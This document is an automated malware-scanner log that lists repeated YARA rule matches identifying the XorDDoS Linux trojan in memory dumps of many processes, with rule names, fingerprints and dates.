Source: 6319.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6319.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6475.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6475.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6475.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6524.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6524.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6524.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6393.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6393.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6393.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6314.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6314.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6314.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6527.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6527.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6527.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6440.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6440.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6440.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6409.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6409.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6409.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6460.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6460.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6460.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6299.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6299.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6299.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6395.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6395.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6395.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6443.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6443.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6443.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6412.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6412.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6412.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6529.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6529.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6529.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6542.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6542.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6542.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6328.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6328.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6328.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6480.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6480.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6480.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6345.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6345.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6345.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6387.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6387.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6387.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6365.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6365.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6365.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6226.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6226.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6226.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6438.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6438.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6438.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6368.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6368.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6368.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6421.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6421.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6421.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6472.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6472.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6472.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6547.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6547.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6547.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6351.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6351.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6351.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6302.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
Source: 6302.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_2aef46a6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = e583729c686b80e5da8e828a846cbd5218a4d787eff1fb2ce84a775ad67a1c4d, id = 2aef46a6-6daf-4f02-b1b4-e512cea12e53, last_modified = 2021-09-16
Source: 6302.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Xorddos_884cab60 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Xorddos, fingerprint = 47895e9c8acf66fc853c7947dc53730967d5a4670ef59c96569c577e1a260a72, id = 884cab60-214f-4879-aa51-c00de1a5ffc4, last_modified = 2021-09-16
Source: 6483.1.0000000008048000.00000000080cd000.r-x.sdmp, type: MEMORY	Matched rule: MALWARE_Linux_XORDDoS author = ditekSHen, description = Detects XORDDoS
